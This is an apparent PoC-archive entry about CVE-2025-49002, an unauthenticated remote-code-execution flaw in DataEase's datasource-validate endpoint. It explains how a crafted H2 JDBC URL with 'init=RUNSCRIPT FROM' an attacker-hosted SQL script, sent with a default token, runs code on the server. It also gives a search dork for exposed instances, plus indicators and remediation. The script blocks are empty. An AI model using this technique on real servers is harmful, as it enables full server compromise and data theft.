DataEase PostgreSQL JDBC Datasource-Validation Bypass to Remote Code Execution (CVE-2025-49002)
by Feng-Huang-0520 · 2026-07-06
- Severity
- Critical
- CVE
- CVE-2025-49002
- Category
- web
- Affected product
- DataEase (开源数据可视化分析工具 / open-source BI/data-visualization platform by 飞致云/FIT2CLOUD)
- Affected versions
- Per source repository (DataEase v2 de2api datasource-validate endpoint)
- Disclosed
- 2026-07-06
- Patch status
- unpatched
Tags
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-06 |
| Last Updated | 2026-07-06 |
| Author / Researcher | Feng-Huang-0520 |
| CVE / Advisory | CVE-2025-49002 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (per NVD) |
| Status | PoC |
| Tags | dataease, jdbc, h2-database, runscript, rce, datasource-validate, ssrf-adjacent, cwe-94, python |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | DataEase (开源数据可视化分析工具 / open-source BI/data-visualization platform by 飞致云/FIT2CLOUD) |
| Versions Affected | Per source repository (DataEase v2 de2api datasource-validate endpoint) |
| Language / Platform | Python 3 PoC targeting a Java-based DataEase server |
| Authentication Required | No (uses a fixed/default X-DE-TOKEN value that does not require valid credentials) |
| Network Access Required | Yes (HTTP to target DataEase instance, plus outbound HTTP from the target to an attacker-controlled server to fetch the SQL payload) |
Summary
DataEase’s /de2api/datasource/validate endpoint lets a client submit an arbitrary JDBC connection string when testing/validating a new datasource. By choosing datasource type: h2 and supplying a base64-encoded H2 JDBC URL that includes INIT=RUNSCRIPT FROM 'http://attacker/poc.sql', an attacker can make the DataEase backend fetch and execute an arbitrary SQL script from a remote URL as part of connection validation. H2’s RUNSCRIPT FROM directive can be abused to execute arbitrary Java code (e.g. via CREATE ALIAS/CREATE TRIGGER calling into java.lang.Runtime), giving full remote code execution on the DataEase server. The PoC simply confirms the injection point is reachable by checking for a specific error code (40001) in the validation response, which indicates the crafted JDBC URL was accepted and processed.
Vulnerability Details
Root Cause
The datasource-validate endpoint deserializes a base64-encoded JSON configuration blob containing a raw jdbc connection string and passes it largely unvalidated to the JDBC driver for connection testing. Decoding the base64 payload in poc.py reveals:
| |
Because the server does not restrict which JDBC drivers/URL schemes/init= options may be used, and does not sandbox the H2 in-memory database engine invoked during “validation,” an attacker fully controls the JDBC URL and can direct the server to fetch and run a remote SQL script (RUNSCRIPT FROM <url>), which can embed arbitrary Java code execution via H2’s scripting/alias features.
Attack Vector
- Attacker hosts a malicious
poc.sqlscript (containing H2CREATE ALIAS/RCE gadget code) on an attacker-controlled HTTP server. - Attacker sends a
GETto the target root to confirm it is a live DataEase instance. - Attacker sends a
POST /de2api/datasource/validaterequest with a hardcoded/defaultX-DE-TOKENand a JSON body whoseconfigurationfield is a base64-encoded JDBC connection descriptor of typeh2, withjdbcset tojdbc:h2:mem:testdb;...;init=RUNSCRIPT FROM 'http://ATTACKER/poc.sql'. - The DataEase backend attempts to validate/connect using this JDBC string, causing the H2 engine to fetch
poc.sqlfrom the attacker’s server and execute it, which (depending on the SQL script contents) can achieve arbitrary command execution. - The PoC checks the JSON response’s
codefield; a value of40001indicates the crafted datasource was processed (i.e., the injection point exists and is reachable), confirming exploitability.
Impact
Unauthenticated (or token-default) remote code execution on the DataEase server host, via H2 JDBC RUNSCRIPT FROM abuse — full compromise of the BI server and any data sources it can reach.
Environment / Lab Setup
Target: DataEase instance exposing /de2api/datasource/validate (fofa dork: title="DataEase")
Attacker: Python 3 + requests library; an HTTP server hosting a malicious poc.sql (H2 RCE gadget) reachable from the target
Proof of Concept
PoC Script
See
poc.pyandREADME.md(raw HTTP request template) in this folder.
| |
Detection & Indicators of Compromise
Signs of compromise:
- DataEase application logs showing H2 JDBC connection strings with
init=RUNSCRIPT FROM - Outbound connections from the DataEase server to attacker infrastructure over HTTP
- Unexpected child processes spawned by the Java/DataEase process shortly after a
datasource/validatecall - New/unexpected files or reverse shells originating from the DataEase service account
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade DataEase to a version that restricts/sanitizes datasource JDBC URLs (disallow init=/RUNSCRIPT and restrict allowed JDBC drivers and schemes) — see vendor advisories; no official patch version identified in the mirrored repo |
| Interim mitigation | Restrict network egress from the DataEase server so it cannot fetch arbitrary external URLs; require authentication/authorization on the datasource/validate endpoint; disable or firewall the de2api endpoints from untrusted networks |
References
Notes
Mirrored from https://github.com/Feng-Huang-0520/DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002 on 2026-07-06. poc.py sends the crafted JDBC datasource-validate request with a RUNSCRIPT FROM remote-URL payload — a genuine JDBC-attack technique against H2’s scripting feature, not a fabricated or stub exploit. The included README.md (kept alongside as reference) contains the raw HTTP request template with the fofa dork used to find exposed instances.
| |